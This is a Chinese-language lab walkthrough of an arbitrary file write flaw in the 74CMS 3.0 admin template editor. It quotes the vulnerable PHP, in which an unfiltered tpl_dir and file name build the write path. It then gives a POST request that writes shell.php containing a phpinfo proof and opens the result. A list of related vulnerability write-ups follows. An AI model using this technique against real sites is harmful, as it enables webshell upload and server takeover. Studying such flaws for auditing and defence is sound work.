74CMS 3.0任意文件写入漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定
漏洞分析
1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_templates.php页面,右侧页面可以看到相关代码。
elseif ($act == 'do_edit')
{
check_permissions($_SESSION['admin_purview'],"tpl_edit");
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
adminmsg('保存模板文件出错', 0);
}
$file_dir='../templates/'.$_POST['tpl_dir'].'/'.$tpl_name;
if(!$handle = @fopen($file_dir, 'wb')){
adminmsg("打开目标模版文件 $tpl_name 失败,请检查模版目录的权限",0);
}
if(fwrite($handle, $tpl_content) === false){
adminmsg('写入目标 $tpl_name 失败,请检查读写权限',0);
}
fclose($handle);
$link[0]['text'] = "继续编辑此文件";
$link[0]['href'] =$_SERVER['HTTP_REFERER'];
$link[1]['text'] = "返回模板文件列表";
$link[1]['href'] ="?act=edit&tpl_dir=".$_POST['tpl_dir'];
adminmsg('编辑模板成功',2,$link);
}
当act参数为do_edit的时候会进入模板写入流程。
2.程序首先获取模板名字tpl_name和模板内容tpl_content,然后在使用$_POST[‘tpl_dir’]拼接文件保存路径,最后文件打开文件,写入文件内容。
3.由于备份模板在后台,并没有很好的过滤传输内容,所以可以直接写入shell。
漏洞利用
1. 首先访问admin/admin_templates.php?act=do_edit,然后在POST构建文件名和文件内容。
http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_templates.php?act=do_edit
tpl_name=shell.php&tpl_content=<?php phpinfo();?>



成功写入
2. 访问生成的文件
http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/templates/shell.php

74CMS 3.0任意文件写入漏洞的更多相关文章
- 74CMS 3.0 任意文件删除漏洞
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...
- ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088)
ActiveMQ任意文件写入漏洞(版本在5.12.X前CVE-2016-3088) 查看docker的activemq版本命令:$ docker ps | grep activemq927860512 ...
- 致远A8任意文件写入漏洞_getshell_exp
近期爆出致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任 ...
- Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...
- Aria2任意文件写入漏洞
目录: 简介 漏洞描述 payload 漏洞复现 一.Aria2介绍 Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink), ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- ActiveMQ任意文件写入漏洞(CVE-2016-3088)
上传webshell 容器用vulhub的 PUT一个jsp文件 MOVE到api目录 默认的ActiveMQ账号密码均为admin,首先访问http://your-ip:8161/admin/tes ...
- 漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用PUT.MOVE等高危方法的ActiveM ...
- metinfo 6.0 任意文件读取漏洞
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.点击新建项目按钮,弹出对画框中选择(C:\ ...
随机推荐
- 神奇小证明之——世界上只有5个正多面体+构造x3=2a3
今天我彻底放飞自我了...作业还没写完...但就是要总结一些好玩的小性质...谁给我的勇气呢?
- 痞子衡嵌入式:对比MbedTLS算法库纯软件实现与i.MXRT上DCP,CAAM硬件加速器实现性能差异
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是MbedTLS算法库纯软件实现与i.MXRT上DCP,CAAM硬件加速器实现性能差异. 近期有 i.MXRT 客户在集成 OTA SBL ...
- suse 12 编译部署 Nginx
文章目录 编译前准备 创建nginx用户 下载nginx源码包 安装编译环境依赖 编译nginx 配置nginx为systemctl管理 Linux:~ # cat /etc/os-release N ...
- Kubeadm部署-Kubernetes-1.18.6集群
环境配置 IP hostname 操作系统 10.11.66.44 k8s-master centos7.6 10.11.66.27 k8s-node1 centos7.7 10.11.66.28 k ...
- Spring Boot数据访问之Druid连接池的配置
在Spring Boot数据访问之数据源自动配置 - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)中数据源连接池方式缺省(type)情况下默认使用HikariCP,那不缺省如何配置呢?我们 ...
- windbg调试系列教程:sos扩展的介绍和使用
SOS是什么? 直观来说,sos就是一个程序集文件.这个程序集的作用就是让我们在使用windbg分析.net进程时,更加方便快捷.通过sos,我们可以清晰的查看CLR运行时的各类信息,辅助我们去理解托 ...
- [杂记]LeTeX中使用tikz画图的一些实例
出处:http://www.texample.net/tikz/examples/all/ 上述网站中的实例非常丰富,将代码修改一下再编译就能明白是什么意思,故不再赘述.
- IP网络主动测评系统
一.IT网络运维面临的挑战 1. 网络性能可视化 • 与公有云和SaaS平台连接的可靠性 • 广域网线路性能 • 互联网专线性能 2.诊断工具 • 现场无IT工程师覆盖 • 诊断的人力费用 • 网络与 ...
- 关于python的turtle详解(转载)
详解文章见turtle--海龟绘图--python3.10.2文档
- Java课程设计---添加学生
1.创建添加窗体 package com.student.view; import java.awt.EventQueue; import javax.swing.ButtonGroup; impor ...